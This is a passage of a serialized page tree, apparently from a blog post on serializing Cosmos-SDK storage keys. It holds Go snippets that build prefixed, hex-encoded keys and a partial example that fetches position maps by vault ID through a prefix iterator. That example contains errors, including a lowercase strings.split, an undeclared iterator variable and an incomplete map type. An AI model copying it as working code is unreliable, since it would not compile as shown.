"line":365},[85538,85543,85547,85552,85557],{"type":20,"tag":315,"props":85539,"children":85540},{"style":635},[85541],{"type":26,"value":85542}," PositionMapPrefix",{"type":20,"tag":315,"props":85544,"children":85545},{"style":334},[85546],{"type":26,"value":1395},{"type":20,"tag":315,"props":85548,"children":85549},{"style":2652},[85550],{"type":26,"value":85551}," \"",{"type":20,"tag":315,"props":85553,"children":85554},{"style":46624},[85555],{"type":26,"value":85556},"\\x01",{"type":20,"tag":315,"props":85558,"children":85559},{"style":2652},[85560],{"type":26,"value":85561},"\"\n",{"type":20,"tag":315,"props":85563,"children":85564},{"class":317,"line":374},[85565,85570,85574,85578,85583],{"type":20,"tag":315,"props":85566,"children":85567},{"style":635},[85568],{"type":26,"value":85569}," AddressMapPrefix",{"type":20,"tag":315,"props":85571,"children":85572},{"style":334},[85573],{"type":26,"value":1395},{"type":20,"tag":315,"props":85575,"children":85576},{"style":2652},[85577],{"type":26,"value":85551},{"type":20,"tag":315,"props":85579,"children":85580},{"style":46624},[85581],{"type":26,"value":85582},"\\x02",{"type":20,"tag":315,"props":85584,"children":85585},{"style":2652},[85586],{"type":26,"value":85561},{"type":20,"tag":315,"props":85588,"children":85589},{"class":317,"line":383},[85590],{"type":20,"tag":315,"props":85591,"children":85592},{"style":328},[85593],{"type":26,"value":380},{"type":20,"tag":315,"props":85595,"children":85596},{"class":317,"line":407},[85597],{"type":20,"tag":315,"props":85598,"children":85599},{"emptyLinePlaceholder":15},[85600],{"type":26,"value":427},{"type":20,"tag":315,"props":85602,"children":85603},{"class":317,"line":421},[85604],{"type":20,"tag":315,"props":85605,"children":85606},{"emptyLinePlaceholder":15},[85607],{"type":26,"value":427},{"type":20,"tag":315,"props":85609,"children":85610},{"class":317,"line":430},[85611,85615,85619],{"type":20,"tag":315,"props":85612,"children":85613},{"style":541},[85614],{"type":26,"value":74558},{"type":20,"tag":315,"props":85616,"children":85617},{"style":345},[85618],{"type":26,"value":84617},{"type":20,"tag":315,"props":85620,"children":85621},{"style":328},[85622],{"type":26,"value":353},{"type":20,"tag":315,"props":85624,"children":85625},{"class":317,"line":453},[85626,85630,85634],{"type":20,"tag":315,"props":85627,"children":85628},{"style":635},[85629],{"type":26,"value":83505},{"type":20,"tag":315,"props":85631,"children":85632},{"style":322},[85633],{"type":26,"value":74679},{"type":20,"tag":315,"props":85635,"children":85636},{"style":328},[85637],{"type":26,"value":643},{"type":20,"tag":315,"props":85639,"children":85640},{"class":317,"line":486},[85641,85645,85649,85653,85657,85661],{"type":20,"tag":315,"props":85642,"children":85643},{"style":635},[85644],{"type":26,"value":83517},{"type":20,"tag":315,"props":85646,"children":85647},{"style":328},[85648],{"type":26,"value":44},{"type":20,"tag":315,"props":85650,"children":85651},{"style":635},[85652],{"type":26,"value":83998},{"type":20,"tag":315,"props":85654,"children":85655},{"style":328},[85656],{"type":26,"value":74485},{"type":20,"tag":315,"props":85658,"children":85659},{"style":322},[85660],{"type":26,"value":83023},{"type":20,"tag":315,"props":85662,"children":85663},{"style":328},[85664],{"type":26,"value":643},{"type":20,"tag":315,"props":85666,"children":85667},{"class":317,"line":499},[85668,85672,85676,85680,85684],{"type":20,"tag":315,"props":85669,"children":85670},{"style":328},[85671],{"type":26,"value":74640},{"type":20,"tag":315,"props":85673,"children":85674},{"style":635},[85675],{"type":26,"value":70412},{"type":20,"tag":315,"props":85677,"children":85678},{"style":328},[85679],{"type":26,"value":74485},{"type":20,"tag":315,"props":85681,"children":85682},{"style":322},[85683],{"type":26,"value":83023},{"type":20,"tag":315,"props":85685,"children":85686},{"style":328},[85687],{"type":26,"value":549},{"type":20,"tag":315,"props":85689,"children":85690},{"class":317,"line":513},[85691,85695,85699,85703],{"type":20,"tag":315,"props":85692,"children":85693},{"style":635},[85694],{"type":26,"value":84119},{"type":20,"tag":315,"props":85696,"children":85697},{"style":334},[85698],{"type":26,"value":74674},{"type":20,"tag":315,"props":85700,"children":85701},{"style":345},[85702],{"type":26,"value":83822},{"type":20,"tag":315,"props":85704,"children":85705},{"style":328},[85706],{"type":26,"value":353},{"type":20,"tag":315,"props":85708,"children":85709},{"class":317,"line":521},[85710,85714,85718],{"type":20,"tag":315,"props":85711,"children":85712},{"style":328},[85713],{"type":26,"value":84713},{"type":20,"tag":315,"props":85715,"children":85716},{"style":322},[85717],{"type":26,"value":83023},{"type":20,"tag":315,"props":85719,"children":85720},{"style":328},[85721],{"type":26,"value":643},{"type":20,"tag":315,"props":85723,"children":85724},{"class":317,"line":552},[85725,85729,85733,85737,85741,85745,85749,85753],{"type":20,"tag":315,"props":85726,"children":85727},{"style":635},[85728],{"type":26,"value":84729},{"type":20,"tag":315,"props":85730,"children":85731},{"style":328},[85732],{"type":26,"value":61},{"type":20,"tag":315,"props":85734,"children":85735},{"style":345},[85736],{"type":26,"value":83859},{"type":20,"tag":315,"props":85738,"children":85739},{"style":328},[85740],{"type":26,"value":1049},{"type":20,"tag":315,"props":85742,"children":85743},{"style":345},[85744],{"type":26,"value":7537},{"type":20,"tag":315,"props":85746,"children":85747},{"style":328},[85748],{"type":26,"value":1049},{"type":20,"tag":315,"props":85750,"children":85751},{"style":635},[85752],{"type":26,"value":83729},{"type":20,"tag":315,"props":85754,"children":85755},{"style":328},[85756],{"type":26,"value":83880},{"type":20,"tag":315,"props":85758,"children":85759},{"class":317,"line":571},[85760],{"type":20,"tag":315,"props":85761,"children":85762},{"style":328},[85763],{"type":26,"value":22335},{"type":20,"tag":315,"props":85765,"children":85766},{"class":317,"line":2031},[85767,85771,85775,85779,85783,85787,85791,85795],{"type":20,"tag":315,"props":85768,"children":85769},{"style":635},[85770],{"type":26,"value":83850},{"type":20,"tag":315,"props":85772,"children":85773},{"style":328},[85774],{"type":26,"value":61},{"type":20,"tag":315,"props":85776,"children":85777},{"style":345},[85778],{"type":26,"value":83904},{"type":20,"tag":315,"props":85780,"children":85781},{"style":328},[85782],{"type":26,"value":1049},{"type":20,"tag":315,"props":85784,"children":85785},{"style":635},[85786],{"type":26,"value":83813},{"type":20,"tag":315,"props":85788,"children":85789},{"style":328},[85790],{"type":26,"value":44},{"type":20,"tag":315,"props":85792,"children":85793},{"style":635},[85794],{"type":26,"value":83729},{"type":20,"tag":315,"props":85796,"children":85797},{"style":328},[85798],{"type":26,"value":380},{"type":20,"tag":315,"props":85800,"children":85801},{"class":317,"line":2053},[85802],{"type":20,"tag":315,"props":85803,"children":85804},{"emptyLinePlaceholder":15},[85805],{"type":26,"value":427},{"type":20,"tag":315,"props":85807,"children":85808},{"class":317,"line":2061},[85809,85813,85817,85821],{"type":20,"tag":315,"props":85810,"children":85811},{"style":635},[85812],{"type":26,"value":84814},{"type":20,"tag":315,"props":85814,"children":85815},{"style":334},[85816],{"type":26,"value":74674},{"type":20,"tag":315,"props":85818,"children":85819},{"style":345},[85820],{"type":26,"value":83822},{"type":20,"tag":315,"props":85822,"children":85823},{"style":328},[85824],{"type":26,"value":353},{"type":20,"tag":315,"props":85826,"children":85827},{"class":317,"line":2070},[85828,85832,85836],{"type":20,"tag":315,"props":85829,"children":85830},{"style":328},[85831],{"type":26,"value":84713},{"type":20,"tag":315,"props":85833,"children":85834},{"style":322},[85835],{"type":26,"value":83023},{"type":20,"tag":315,"props":85837,"children":85838},{"style":328},[85839],{"type":26,"value":643},{"type":20,"tag":315,"props":85841,"children":85842},{"class":317,"line":2139},[85843,85847,85851,85855,85859,85863,85867,85871],{"type":20,"tag":315,"props":85844,"children":85845},{"style":635},[85846],{"type":26,"value":84729},{"type":20,"tag":315,"props":85848,"children":85849},{"style":328},[85850],{"type":26,"value":61},{"type":20,"tag":315,"props":85852,"children":85853},{"style":345},[85854],{"type":26,"value":83859},{"type":20,"tag":315,"props":85856,"children":85857},{"style":328},[85858],{"type":26,"value":1049},{"type":20,"tag":315,"props":85860,"children":85861},{"style":345},[85862],{"type":26,"value":7537},{"type":20,"tag":315,"props":85864,"children":85865},{"style":328},[85866],{"type":26,"value":1049},{"type":20,"tag":315,"props":85868,"children":85869},{"style":635},[85870],{"type":26,"value":83998},{"type":20,"tag":315,"props":85872,"children":85873},{"style":328},[85874],{"type":26,"value":83880},{"type":20,"tag":315,"props":85876,"children":85877},{"class":317,"line":2147},[85878],{"type":20,"tag":315,"props":85879,"children":85880},{"style":328},[85881],{"type":26,"value":22335},{"type":20,"tag":315,"props":85883,"children":85884},{"class":317,"line":2177},[85885,85889,85893,85897,85901,85905,85909,85913],{"type":20,"tag":315,"props":85886,"children":85887},{"style":635},[85888],{"type":26,"value":83850},{"type":20,"tag":315,"props":85890,"children":85891},{"style":328},[85892],{"type":26,"value":61},{"type":20,"tag":315,"props":85894,"children":85895},{"style":345},[85896],{"type":26,"value":83904},{"type":20,"tag":315,"props":85898,"children":85899},{"style":328},[85900],{"type":26,"value":1049},{"type":20,"tag":315,"props":85902,"children":85903},{"style":635},[85904],{"type":26,"value":83939},{"type":20,"tag":315,"props":85906,"children":85907},{"style":328},[85908],{"type":26,"value":44},{"type":20,"tag":315,"props":85910,"children":85911},{"style":635},[85912],{"type":26,"value":83998},{"type":20,"tag":315,"props":85914,"children":85915},{"style":328},[85916],{"type":26,"value":380},{"type":20,"tag":315,"props":85918,"children":85919},{"class":317,"line":2185},[85920],{"type":20,"tag":315,"props":85921,"children":85922},{"emptyLinePlaceholder":15},[85923],{"type":26,"value":427},{"type":20,"tag":315,"props":85925,"children":85926},{"class":317,"line":2217},[85927,85931,85935,85939,85943,85947],{"type":20,"tag":315,"props":85928,"children":85929},{"style":635},[85930],{"type":26,"value":84933},{"type":20,"tag":315,"props":85932,"children":85933},{"style":334},[85934],{"type":26,"value":74674},{"type":20,"tag":315,"props":85936,"children":85937},{"style":635},[85938],{"type":26,"value":80492},{"type":20,"tag":315,"props":85940,"children":85941},{"style":328},[85942],{"type":26,"value":61},{"type":20,"tag":315,"props":85944,"children":85945},{"style":345},[85946],{"type":26,"value":83481},{"type":20,"tag":315,"props":85948,"children":85949},{"style":328},[85950],{"type":26,"value":353},{"type":20,"tag":315,"props":85952,"children":85953},{"class":317,"line":2225},[85954,85959],{"type":20,"tag":315,"props":85955,"children":85956},{"style":2652},[85957],{"type":26,"value":85958}," \"%s%d%s%s%s%s\"",{"type":20,"tag":315,"props":85960,"children":85961},{"style":328},[85962],{"type":26,"value":643},{"type":20,"tag":315,"props":85964,"children":85965},{"class":317,"line":2285},[85966,85971],{"type":20,"tag":315,"props":85967,"children":85968},{"style":635},[85969],{"type":26,"value":85970}," PositionMapPrefix",{"type":20,"tag":315,"props":85972,"children":85973},{"style":328},[85974],{"type":26,"value":643},{"type":20,"tag":315,"props":85976,"children":85977},{"class":317,"line":7444},[85978,85982],{"type":20,"tag":315,"props":85979,"children":85980},{"style":635},[85981],{"type":26,"value":84973},{"type":20,"tag":315,"props":85983,"children":85984},{"style":328},[85985],{"type":26,"value":643},{"type":20,"tag":315,"props":85987,"children":85988},{"class":317,"line":7462},[85989,85993],{"type":20,"tag":315,"props":85990,"children":85991},{"style":635},[85992],{"type":26,"value":84985},{"type":20,"tag":315,"props":85994,"children":85995},{"style":328},[85996],{"type":26,"value":643},{"type":20,"tag":315,"props":85998,"children":85999},{"class":317,"line":7507},[86000,86004],{"type":20,"tag":315,"props":86001,"children":86002},{"style":635},[86003],{"type":26,"value":84997},{"type":20,"tag":315,"props":86005,"children":86006},{"style":328},[86007],{"type":26,"value":643},{"type":20,"tag":315,"props":86009,"children":86010},{"class":317,"line":7613},[86011,86015],{"type":20,"tag":315,"props":86012,"children":86013},{"style":635},[86014],{"type":26,"value":84985},{"type":20,"tag":315,"props":86016,"children":86017},{"style":328},[86018],{"type":26,"value":643},{"type":20,"tag":315,"props":86020,"children":86021},{"class":317,"line":21914},[86022,86026],{"type":20,"tag":315,"props":86023,"children":86024},{"style":635},[86025],{"type":26,"value":85020},{"type":20,"tag":315,"props":86027,"children":86028},{"style":328},[86029],{"type":26,"value":643},{"type":20,"tag":315,"props":86031,"children":86032},{"class":317,"line":21949},[86033],{"type":20,"tag":315,"props":86034,"children":86035},{"style":328},[86036],{"type":26,"value":22335},{"type":20,"tag":315,"props":86038,"children":86039},{"class":317,"line":21957},[86040],{"type":20,"tag":315,"props":86041,"children":86042},{"style":328},[86043],{"type":26,"value":577},{"type":20,"tag":315,"props":86045,"children":86046},{"class":317,"line":21965},[86047],{"type":20,"tag":315,"props":86048,"children":86049},{"emptyLinePlaceholder":15},[86050],{"type":26,"value":427},{"type":20,"tag":315,"props":86052,"children":86053},{"class":317,"line":21974},[86054],{"type":20,"tag":315,"props":86055,"children":86056},{"emptyLinePlaceholder":15},[86057],{"type":26,"value":427},{"type":20,"tag":315,"props":86059,"children":86060},{"class":317,"line":22016},[86061,86065,86069],{"type":20,"tag":315,"props":86062,"children":86063},{"style":541},[86064],{"type":26,"value":74558},{"type":20,"tag":315,"props":86066,"children":86067},{"style":345},[86068],{"type":26,"value":85064},{"type":20,"tag":315,"props":86070,"children":86071},{"style":328},[86072],{"type":26,"value":353},{"type":20,"tag":315,"props":86074,"children":86075},{"class":317,"line":22049},[86076,86080,86084],{"type":20,"tag":315,"props":86077,"children":86078},{"style":635},[86079],{"type":26,"value":83505},{"type":20,"tag":315,"props":86081,"children":86082},{"style":322},[86083],{"type":26,"value":74679},{"type":20,"tag":315,"props":86085,"children":86086},{"style":328},[86087],{"type":26,"value":643},{"type":20,"tag":315,"props":86089,"children":86090},{"class":317,"line":22057},[86091,86095,86099,86103,86107,86111],{"type":20,"tag":315,"props":86092,"children":86093},{"style":635},[86094],{"type":26,"value":83517},{"type":20,"tag":315,"props":86096,"children":86097},{"style":328},[86098],{"type":26,"value":44},{"type":20,"tag":315,"props":86100,"children":86101},{"style":635},[86102],{"type":26,"value":85099},{"type":20,"tag":315,"props":86104,"children":86105},{"style":328},[86106],{"type":26,"value":74485},{"type":20,"tag":315,"props":86108,"children":86109},{"style":322},[86110],{"type":26,"value":83023},{"type":20,"tag":315,"props":86112,"children":86113},{"style":328},[86114],{"type":26,"value":643},{"type":20,"tag":315,"props":86116,"children":86117},{"class":317,"line":22065},[86118,86122,86126,86130,86134],{"type":20,"tag":315,"props":86119,"children":86120},{"style":328},[86121],{"type":26,"value":74640},{"type":20,"tag":315,"props":86123,"children":86124},{"style":635},[86125],{"type":26,"value":70412},{"type":20,"tag":315,"props":86127,"children":86128},{"style":328},[86129],{"type":26,"value":74485},{"type":20,"tag":315,"props":86131,"children":86132},{"style":322},[86133],{"type":26,"value":83023},{"type":20,"tag":315,"props":86135,"children":86136},{"style":328},[86137],{"type":26,"value":549},{"type":20,"tag":315,"props":86139,"children":86140},{"class":317,"line":22074},[86141,86145,86149,86153],{"type":20,"tag":315,"props":86142,"children":86143},{"style":635},[86144],{"type":26,"value":84119},{"type":20,"tag":315,"props":86146,"children":86147},{"style":334},[86148],{"type":26,"value":74674},{"type":20,"tag":315,"props":86150,"children":86151},{"style":345},[86152],{"type":26,"value":83822},{"type":20,"tag":315,"props":86154,"children":86155},{"style":328},[86156],{"type":26,"value":353},{"type":20,"tag":315,"props":86158,"children":86159},{"class":317,"line":22150},[86160,86164,86168],{"type":20,"tag":315,"props":86161,"children":86162},{"style":328},[86163],{"type":26,"value":84713},{"type":20,"tag":315,"props":86165,"children":86166},{"style":322},[86167],{"type":26,"value":83023},{"type":20,"tag":315,"props":86169,"children":86170},{"style":328},[86171],{"type":26,"value":643},{"type":20,"tag":315,"props":86173,"children":86174},{"class":317,"line":22183},[86175,86179,86183,86187,86191,86195,86199,86203],{"type":20,"tag":315,"props":86176,"children":86177},{"style":635},[86178],{"type":26,"value":84729},{"type":20,"tag":315,"props":86180,"children":86181},{"style":328},[86182],{"type":26,"value":61},{"type":20,"tag":315,"props":86184,"children":86185},{"style":345},[86186],{"type":26,"value":83859},{"type":20,"tag":315,"props":86188,"children":86189},{"style":328},[86190],{"type":26,"value":1049},{"type":20,"tag":315,"props":86192,"children":86193},{"style":345},[86194],{"type":26,"value":7537},{"type":20,"tag":315,"props":86196,"children":86197},{"style":328},[86198],{"type":26,"value":1049},{"type":20,"tag":315,"props":86200,"children":86201},{"style":635},[86202],{"type":26,"value":83729},{"type":20,"tag":315,"props":86204,"children":86205},{"style":328},[86206],{"type":26,"value":83880},{"type":20,"tag":315,"props":86208,"children":86209},{"class":317,"line":22191},[86210],{"type":20,"tag":315,"props":86211,"children":86212},{"style":328},[86213],{"type":26,"value":22335},{"type":20,"tag":315,"props":86215,"children":86216},{"class":317,"line":22199},[86217,86221,86225,86229,86233,86237,86241,86245],{"type":20,"tag":315,"props":86218,"children":86219},{"style":635},[86220],{"type":26,"value":83850},{"type":20,"tag":315,"props":86222,"children":86223},{"style":328},[86224],{"type":26,"value":61},{"type":20,"tag":315,"props":86226,"children":86227},{"style":345},[86228],{"type":26,"value":83904},{"type":20,"tag":315,"props":86230,"children":86231},{"style":328},[86232],{"type":26,"value":1049},{"type":20,"tag":315,"props":86234,"children":86235},{"style":635},[86236],{"type":26,"value":83813},{"type":20,"tag":315,"props":86238,"children":86239},{"style":328},[86240],{"type":26,"value":44},{"type":20,"tag":315,"props":86242,"children":86243},{"style":635},[86244],{"type":26,"value":83729},{"type":20,"tag":315,"props":86246,"children":86247},{"style":328},[86248],{"type":26,"value":380},{"type":20,"tag":315,"props":86250,"children":86251},{"class":317,"line":22236},[86252],{"type":20,"tag":315,"props":86253,"children":86254},{"emptyLinePlaceholder":15},[86255],{"type":26,"value":427},{"type":20,"tag":315,"props":86257,"children":86258},{"class":317,"line":22249},[86259,86263,86267,86271],{"type":20,"tag":315,"props":86260,"children":86261},{"style":635},[86262],{"type":26,"value":85256},{"type":20,"tag":315,"props":86264,"children":86265},{"style":334},[86266],{"type":26,"value":74674},{"type":20,"tag":315,"props":86268,"children":86269},{"style":345},[86270],{"type":26,"value":83822},{"type":20,"tag":315,"props":86272,"children":86273},{"style":328},[86274],{"type":26,"value":353},{"type":20,"tag":315,"props":86276,"children":86277},{"class":317,"line":22262},[86278,86282,86286],{"type":20,"tag":315,"props":86279,"children":86280},{"style":328},[86281],{"type":26,"value":84713},{"type":20,"tag":315,"props":86283,"children":86284},{"style":322},[86285],{"type":26,"value":83023},{"type":20,"tag":315,"props":86287,"children":86288},{"style":328},[86289],{"type":26,"value":643},{"type":20,"tag":315,"props":86291,"children":86292},{"class":317,"line":22275},[86293,86297,86301,86305,86309,86313,86317,86321],{"type":20,"tag":315,"props":86294,"children":86295},{"style":635},[86296],{"type":26,"value":84729},{"type":20,"tag":315,"props":86298,"children":86299},{"style":328},[86300],{"type":26,"value":61},{"type":20,"tag":315,"props":86302,"children":86303},{"style":345},[86304],{"type":26,"value":83859},{"type":20,"tag":315,"props":86306,"children":86307},{"style":328},[86308],{"type":26,"value":1049},{"type":20,"tag":315,"props":86310,"children":86311},{"style":345},[86312],{"type":26,"value":7537},{"type":20,"tag":315,"props":86314,"children":86315},{"style":328},[86316],{"type":26,"value":1049},{"type":20,"tag":315,"props":86318,"children":86319},{"style":635},[86320],{"type":26,"value":85099},{"type":20,"tag":315,"props":86322,"children":86323},{"style":328},[86324],{"type":26,"value":83880},{"type":20,"tag":315,"props":86326,"children":86327},{"class":317,"line":22329},[86328],{"type":20,"tag":315,"props":86329,"children":86330},{"style":328},[86331],{"type":26,"value":22335},{"type":20,"tag":315,"props":86333,"children":86334},{"class":317,"line":22338},[86335,86339,86343,86347,86351,86355,86359,86363],{"type":20,"tag":315,"props":86336,"children":86337},{"style":635},[86338],{"type":26,"value":83850},{"type":20,"tag":315,"props":86340,"children":86341},{"style":328},[86342],{"type":26,"value":61},{"type":20,"tag":315,"props":86344,"children":86345},{"style":345},[86346],{"type":26,"value":83904},{"type":20,"tag":315,"props":86348,"children":86349},{"style":328},[86350],{"type":26,"value":1049},{"type":20,"tag":315,"props":86352,"children":86353},{"style":635},[86354],{"type":26,"value":85349},{"type":20,"tag":315,"props":86356,"children":86357},{"style":328},[86358],{"type":26,"value":44},{"type":20,"tag":315,"props":86360,"children":86361},{"style":635},[86362],{"type":26,"value":85099},{"type":20,"tag":315,"props":86364,"children":86365},{"style":328},[86366],{"type":26,"value":380},{"type":20,"tag":315,"props":86368,"children":86369},{"class":317,"line":30696},[86370],{"type":20,"tag":315,"props":86371,"children":86372},{"emptyLinePlaceholder":15},[86373],{"type":26,"value":427},{"type":20,"tag":315,"props":86375,"children":86376},{"class":317,"line":30717},[86377,86381,86385,86389,86393,86397],{"type":20,"tag":315,"props":86378,"children":86379},{"style":635},[86380],{"type":26,"value":84933},{"type":20,"tag":315,"props":86382,"children":86383},{"style":334},[86384],{"type":26,"value":74674},{"type":20,"tag":315,"props":86386,"children":86387},{"style":635},[86388],{"type":26,"value":80492},{"type":20,"tag":315,"props":86390,"children":86391},{"style":328},[86392],{"type":26,"value":61},{"type":20,"tag":315,"props":86394,"children":86395},{"style":345},[86396],{"type":26,"value":83481},{"type":20,"tag":315,"props":86398,"children":86399},{"style":328},[86400],{"type":26,"value":353},{"type":20,"tag":315,"props":86402,"children":86403},{"class":317,"line":79209},[86404,86408],{"type":20,"tag":315,"props":86405,"children":86406},{"style":2652},[86407],{"type":26,"value":85958},{"type":20,"tag":315,"props":86409,"children":86410},{"style":328},[86411],{"type":26,"value":643},{"type":20,"tag":315,"props":86413,"children":86414},{"class":317,"line":79222},[86415,86420],{"type":20,"tag":315,"props":86416,"children":86417},{"style":635},[86418],{"type":26,"value":86419}," AddressMapPrefix",{"type":20,"tag":315,"props":86421,"children":86422},{"style":328},[86423],{"type":26,"value":643},{"type":20,"tag":315,"props":86425,"children":86426},{"class":317,"line":79230},[86427,86431],{"type":20,"tag":315,"props":86428,"children":86429},{"style":635},[86430],{"type":26,"value":84973},{"type":20,"tag":315,"props":86432,"children":86433},{"style":328},[86434],{"type":26,"value":643},{"type":20,"tag":315,"props":86436,"children":86437},{"class":317,"line":79238},[86438,86442],{"type":20,"tag":315,"props":86439,"children":86440},{"style":635},[86441],{"type":26,"value":84985},{"type":20,"tag":315,"props":86443,"children":86444},{"style":328},[86445],{"type":26,"value":643},{"type":20,"tag":315,"props":86447,"children":86448},{"class":317,"line":79246},[86449,86453],{"type":20,"tag":315,"props":86450,"children":86451},{"style":635},[86452],{"type":26,"value":84997},{"type":20,"tag":315,"props":86454,"children":86455},{"style":328},[86456],{"type":26,"value":643},{"type":20,"tag":315,"props":86458,"children":86459},{"class":317,"line":79286},[86460,86464],{"type":20,"tag":315,"props":86461,"children":86462},{"style":635},[86463],{"type":26,"value":84985},{"type":20,"tag":315,"props":86465,"children":86466},{"style":328},[86467],{"type":26,"value":643},{"type":20,"tag":315,"props":86469,"children":86470},{"class":317,"line":79294},[86471,86475],{"type":20,"tag":315,"props":86472,"children":86473},{"style":635},[86474],{"type":26,"value":85458},{"type":20,"tag":315,"props":86476,"children":86477},{"style":328},[86478],{"type":26,"value":643},{"type":20,"tag":315,"props":86480,"children":86482},{"class":317,"line":86481},60,[86483],{"type":20,"tag":315,"props":86484,"children":86485},{"style":328},[86486],{"type":26,"value":22335},{"type":20,"tag":315,"props":86488,"children":86490},{"class":317,"line":86489},61,[86491],{"type":20,"tag":315,"props":86492,"children":86493},{"style":328},[86494],{"type":26,"value":577},{"type":20,"tag":29,"props":86496,"children":86497},{},[86498],{"type":26,"value":86499},"We now have a proper example of how to serialize storage keys.",{"type":20,"tag":29,"props":86501,"children":86502},{},[86503,86505,86510],{"type":26,"value":86504},"Nonetheless, there is more to storage than just this. As previously mentioned, storages are expected to support their original functionalities. In the case of ",{"type":20,"tag":119,"props":86506,"children":86508},{"className":86507},[],[86509],{"type":26,"value":65357},{"type":26,"value":86511},", data should still be retrievable through original keys.",{"type":20,"tag":29,"props":86513,"children":86514},{},[86515,86517,86523,86525,86530],{"type":26,"value":86516},"Let's look at a case where we want to retrieve all ",{"type":20,"tag":119,"props":86518,"children":86520},{"className":86519},[],[86521],{"type":26,"value":86522},"map[Username]map[PositionName]Position",{"type":26,"value":86524}," associated with a ",{"type":20,"tag":119,"props":86526,"children":86528},{"className":86527},[],[86529],{"type":26,"value":83393},{"type":26,"value":86531}," from the storage. How can we safely accomplish this?",{"type":20,"tag":29,"props":86533,"children":86534},{},[86535,86537,86542,86544,86550],{"type":26,"value":86536},"Fortunately, the Cosmos-SDK provides APIs to fetch all entries associated with a ",{"type":20,"tag":119,"props":86538,"children":86540},{"className":86539},[],[86541],{"type":26,"value":83464},{"type":26,"value":86543}," prefix. Below is an example of an attempt to fetch data with ",{"type":20,"tag":119,"props":86545,"children":86547},{"className":86546},[],[86548],{"type":26,"value":86549},"vaultId",{"type":26,"value":2884},{"type":20,"tag":305,"props":86552,"children":86554},{"code":86553,"language":74422,"meta":7,"className":74423,"style":7},"func FetchPositionMapWithVaultId(\n vaultId uint64,\n) ([]map[Username]map[PositionName]Position) {\n values := map[Username]map[PositionName]Position{}\n i := sdk.KVStorePrefixIterator(\n kvStore,\n fmt.Sprintf(\"%s%d\", PositionMapPrefix, vaultId)\n )\n for ; i.Valid(); i.Next() {\n k := strings.split(i.Key(), Seperator)\n\n username := make([]byte, hex.DecodedLen(k[0]))\n _, err := hex.Decode(username, k[0])\n if err != nil {\n return nil, err\n }\n\n positionName := make([]byte, hex.DecodedLen(k[1]))\n _, err := hex.Decode(positionName, k[1])\n if err != nil {\n return nil, err\n }\n\n if entry, ok := values[username]; !ok {\n values[username] = make(map[PositionName])\n }\n\n values[username][positionName] = Position {\n data: iterator.Value(),\n }\n }\n return values\n}\n",[86555],{"type":20,"tag":119,"props":86556,"children":86557},{"__ignoreMap":7},[86558,86574,86589,86638,86690,86719,86731,86777,86784,86830,86885,86892,86956,87017,87040,87059,87066,87073,87133,87192,87215,87234,87241,87248,87301,87349,87356,87363,87403,87432,87439,87446,87458],{"type":20,"tag":315,"props":86559,"children":86560},{"class":317,"line":318},[86561,86565,86570],{"type":20,"tag":315,"props":86562,"children":86563},{"style":541},[86564],{"type":26,"value":74558},{"type":20,"tag":315,"props":86566,"children":86567},{"style":345},[86568],{"type":26,"value":86569}," FetchPositionMapWithVaultId",{"type":20,"tag":315,"props":86571,"children":86572},{"style":328},[86573],{"type":26,"value":353},{"type":20,"tag":315,"props":86575,"children":86576},{"class":317,"line":356},[86577,86581,86585],{"type":20,"tag":315,"props":86578,"children":86579},{"style":635},[86580],{"type":26,"value":83505},{"type":20,"tag":315,"props":86582,"children":86583},{"style":322},[86584],{"type":26,"value":74679},{"type":20,"tag":315,"props":86586,"children":86587},{"style":328},[86588],{"type":26,"value":643},{"type":20,"tag":315,"props":86590,"children":86591},{"class":317,"line":365},[86592,86597,86601,86605,86609,86613,86617,86621,86625,86629,86634],{"type":20,"tag":315,"props":86593,"children":86594},{"style":328},[86595],{"type":26,"value":86596},") ([]",{"type":20,"tag":315,"props":86598,"children":86599},{"style":541},[86600],{"type":26,"value":65357},{"type":20,"tag":315,"props":86602,"children":86603},{"style":328},[86604],{"type":26,"value":2117},{"type":20,"tag":315,"props":86606,"children":86607},{"style":322},[86608],{"type":26,"value":83410},{"type":20,"tag":315,"props":86610,"children":86611},{"style":328},[86612],{"type":26,"value":13812},{"type":20,"tag":315,"props":86614,"children":86615},{"style":541},[86616],{"type":26,"value":65357},{"type":20,"tag":315,"props":86618,"children":86619},{"style":328},[86620],{"type":26,"value":2117},{"type":20,"tag":315,"props":86622,"children":86623},{"style":322},[86624],{"type":26,"value":83427},{"type":20,"tag":315,"props":86626,"children":86627},{"style":328},[86628],{"type":26,"value":13812},{"type":20,"tag":315,"props":86630,"children":86631},{"style":322},[86632],{"type":26,"value":86633},"Position",{"type":20,"tag":315,"props":86635,"children":86636},{"style":328},[86637],{"type":26,"value":549},{"type":20,"tag":315,"props":86639,"children":86640},{"class":317,"line":374},[86641,86646,86650,86654,86658,86662,86666,86670,86674,86678,86682,86686],{"type":20,"tag":315,"props":86642,"children":86643},{"style":635},[86644],{"type":26,"value":86645}," values",{"type":20,"tag":315,"props":86647,"children":86648},{"style":334},[86649],{"type":26,"value":74674},{"type":20,"tag":315,"props":86651,"children":86652},{"style":541},[86653],{"type":26,"value":47920},{"type":20,"tag":315,"props":86655,"children":86656},{"style":328},[86657],{"type":26,"value":2117},{"type":20,"tag":315,"props":86659,"children":86660},{"style":322},[86661],{"type":26,"value":83410},{"type":20,"tag":315,"props":86663,"children":86664},{"style":328},[86665],{"type":26,"value":13812},{"type":20,"tag":315,"props":86667,"children":86668},{"style":541},[86669],{"type":26,"value":65357},{"type":20,"tag":315,"props":86671,"children":86672},{"style":328},[86673],{"type":26,"value":2117},{"type":20,"tag":315,"props":86675,"children":86676},{"style":322},[86677],{"type":26,"value":83427},{"type":20,"tag":315,"props":86679,"children":86680},{"style":328},[86681],{"type":26,"value":13812},{"type":20,"tag":315,"props":86683,"children":86684},{"style":322},[86685],{"type":26,"value":86633},{"type":20,"tag":315,"props":86687,"children":86688},{"style":328},[86689],{"type":26,"value":76355},{"type":20,"tag":315,"props":86691,"children":86692},{"class":317,"line":383},[86693,86698,86702,86706,86710,86715],{"type":20,"tag":315,"props":86694,"children":86695},{"style":635},[86696],{"type":26,"value":86697}," 